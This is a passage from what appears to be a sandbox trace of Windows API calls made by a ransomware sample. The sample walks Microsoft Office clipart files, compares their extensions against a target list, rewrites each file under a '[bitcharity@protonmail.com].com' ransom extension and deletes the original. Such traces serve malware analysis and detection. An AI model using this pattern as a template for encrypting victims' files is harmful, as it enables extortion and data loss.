Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0150.059] lstrlenW (lpString=".zip") returned 4 [0150.059] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.059] lstrlenW (lpString=".rar") returned 4 [0150.059] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.059] lstrlenW (lpString=".bz2") returned 4 [0150.059] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.059] lstrlenW (lpString=".7z") returned 3 [0150.060] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0150.060] lstrlenW (lpString=".dbf") returned 4 [0150.060] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0150.060] lstrlenW (lpString=".1cd") returned 4 [0150.060] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0150.060] lstrlenW (lpString=".jpg") returned 4 [0150.060] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0150.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0150.060] lstrlenW (lpString=".doc") returned 4 [0150.060] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.060] lstrlenW (lpString=".docx") returned 5 [0150.060] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.060] lstrlenW (lpString=".pdf") returned 4 [0150.060] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.060] lstrlenW (lpString=".xls") returned 4 [0150.060] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.060] lstrlenW (lpString=".xlsx") returned 5 [0150.060] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.060] lstrlenW (lpString=".ppt") returned 4 [0150.060] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0150.060] lstrlenW (lpString=".zip") returned 4 [0150.060] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.060] lstrlenW (lpString=".rar") returned 4 [0150.061] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.061] lstrlenW (lpString=".bz2") returned 4 [0150.061] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.061] lstrlenW (lpString=".7z") returned 3 [0150.061] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0150.061] lstrlenW (lpString=".dbf") returned 4 [0150.061] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0150.061] lstrlenW (lpString=".1cd") returned 4 [0150.061] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0150.061] lstrlenW (lpString=".jpg") returned 4 [0150.061] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.061] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0150.061] lstrlenW (lpString="AG00164_.GIF") returned 12 [0150.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0150.061] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=13254) returned 1 [0150.062] CloseHandle (hObject=0x10c0) returned 1 [0150.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220 [0150.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0150.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0150.062] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.062] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0150.062] GetLastError () returned 0x0 [0150.063] ReadFile (in: hFile=0x10c0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x33c6, lpOverlapped=0x0) returned 1 [0150.084] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x33d0, lpOverlapped=0x0) returned 1 [0150.086] ReadFile (in: hFile=0x10c0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.086] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.086] SetEndOfFile (hFile=0x10d8) returned 1 [0150.086] CloseHandle (hObject=0x10d8) returned 1 [0150.087] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.087] SetEndOfFile (hFile=0x10c0) returned 1 [0150.089] CloseHandle (hObject=0x10c0) returned 1 [0150.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0150.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0150.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0150.092] lstrlenW (lpString=".doc") returned 4 [0150.092] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.092] lstrlenW (lpString=".docx") returned 5 [0150.092] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.092] lstrlenW (lpString=".pdf") returned 4 [0150.092] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.092] lstrlenW (lpString=".xls") returned 4 [0150.092] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.092] lstrlenW (lpString=".xlsx") returned 5 [0150.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.092] lstrlenW (lpString=".ppt") returned 4 [0150.092] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0150.092] lstrlenW (lpString=".zip") returned 4 [0150.092] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.093] lstrlenW (lpString=".rar") returned 4 [0150.093] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.093] lstrlenW (lpString=".bz2") returned 4 [0150.093] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.093] lstrlenW (lpString=".7z") returned 3 [0150.093] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0150.093] lstrlenW (lpString=".dbf") returned 4 [0150.093] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0150.093] lstrlenW (lpString=".1cd") returned 4 [0150.093] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0150.093] lstrlenW (lpString=".jpg") returned 4 [0150.093] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0150.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0150.093] lstrlenW (lpString=".doc") returned 4 [0150.093] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.093] lstrlenW (lpString=".docx") returned 5 [0150.093] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.093] lstrlenW (lpString=".pdf") returned 4 [0150.093] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.093] lstrlenW (lpString=".xls") returned 4 [0150.093] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.093] lstrlenW (lpString=".xlsx") returned 5 [0150.094] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.094] lstrlenW (lpString=".ppt") returned 4 [0150.094] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0150.094] lstrlenW (lpString=".zip") returned 4 [0150.094] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.094] lstrlenW (lpString=".rar") returned 4 [0150.094] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.094] lstrlenW (lpString=".bz2") returned 4 [0150.094] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.094] lstrlenW (lpString=".7z") returned 3 [0150.094] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0150.094] lstrlenW (lpString=".dbf") returned 4 [0150.094] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0150.094] lstrlenW (lpString=".1cd") returned 4 [0150.094] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0150.094] lstrlenW (lpString=".jpg") returned 4 [0150.094] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.094] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0150.095] lstrlenW (lpString="AG00167_.GIF") returned 12 [0150.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0150.101] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=4894) returned 1 [0150.101] CloseHandle (hObject=0x10d8) returned 1 [0150.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220 [0150.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0150.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0150.101] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.101] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0150.106] GetLastError () returned 0x0 [0150.106] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x131e, lpOverlapped=0x0) returned 1 [0150.164] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x1320, lpOverlapped=0x0) returned 1 [0150.213] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.213] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.214] SetEndOfFile (hFile=0x10a8) returned 1 [0150.214] CloseHandle (hObject=0x10a8) returned 1 [0150.221] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.222] SetEndOfFile (hFile=0x10d8) returned 1 [0150.223] CloseHandle (hObject=0x10d8) returned 1 [0150.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0150.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0150.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0150.226] lstrlenW (lpString=".doc") returned 4 [0150.226] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.226] lstrlenW (lpString=".docx") returned 5 [0150.226] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.226] lstrlenW (lpString=".pdf") returned 4 [0150.226] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.226] lstrlenW (lpString=".xls") returned 4 [0150.226] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.226] lstrlenW (lpString=".xlsx") returned 5 [0150.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.226] lstrlenW (lpString=".ppt") returned 4 [0150.226] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0150.226] lstrlenW (lpString=".zip") returned 4 [0150.226] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.226] lstrlenW (lpString=".rar") returned 4 [0150.226] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.227] lstrlenW (lpString=".bz2") returned 4 [0150.227] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.227] lstrlenW (lpString=".7z") returned 3 [0150.227] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0150.227] lstrlenW (lpString=".dbf") returned 4 [0150.227] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0150.227] lstrlenW (lpString=".1cd") returned 4 [0150.227] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0150.227] lstrlenW (lpString=".jpg") returned 4 [0150.227] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0150.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0150.228] lstrlenW (lpString=".doc") returned 4 [0150.228] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.228] lstrlenW (lpString=".docx") returned 5 [0150.228] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.228] lstrlenW (lpString=".pdf") returned 4 [0150.228] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.228] lstrlenW (lpString=".xls") returned 4 [0150.228] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.228] lstrlenW (lpString=".xlsx") returned 5 [0150.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.228] lstrlenW (lpString=".ppt") returned 4 [0150.228] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0150.228] lstrlenW (lpString=".zip") returned 4 [0150.228] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.228] lstrlenW (lpString=".rar") returned 4 [0150.228] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.228] lstrlenW (lpString=".bz2") returned 4 [0150.228] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.228] lstrlenW (lpString=".7z") returned 3 [0150.228] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0150.229] lstrlenW (lpString=".dbf") returned 4 [0150.229] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0150.229] lstrlenW (lpString=".1cd") returned 4 [0150.229] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0150.229] lstrlenW (lpString=".jpg") returned 4 [0150.229] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.229] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0150.229] lstrlenW (lpString="AG00172_.GIF") returned 12 [0150.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0150.232] GetFileSizeEx (in: hFile=0x10ec, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=4390) returned 1 [0150.232] CloseHandle (hObject=0x10ec) returned 1 [0150.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220 [0150.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0150.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0150.233] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.233] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0150.238] GetLastError () returned 0x0 [0150.238] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x1126, lpOverlapped=0x0) returned 1 [0150.244] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x1130, lpOverlapped=0x0) returned 1 [0150.245] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.245] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.245] SetEndOfFile (hFile=0x10a8) returned 1 [0150.245] CloseHandle (hObject=0x10a8) returned 1 [0150.249] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.249] SetEndOfFile (hFile=0x10d8) returned 1 [0150.250] CloseHandle (hObject=0x10d8) returned 1 [0150.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0150.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0150.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0150.251] lstrlenW (lpString=".doc") returned 4 [0150.251] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.251] lstrlenW (lpString=".docx") returned 5 [0150.251] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.251] lstrlenW (lpString=".pdf") returned 4 [0150.251] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.251] lstrlenW (lpString=".xls") returned 4 [0150.251] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.251] lstrlenW (lpString=".xlsx") returned 5 [0150.251] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.251] lstrlenW (lpString=".ppt") returned 4 [0150.251] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0150.251] lstrlenW (lpString=".zip") returned 4 [0150.251] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.251] lstrlenW (lpString=".rar") returned 4 [0150.251] lstrcmpiW (lpString1=".rar", 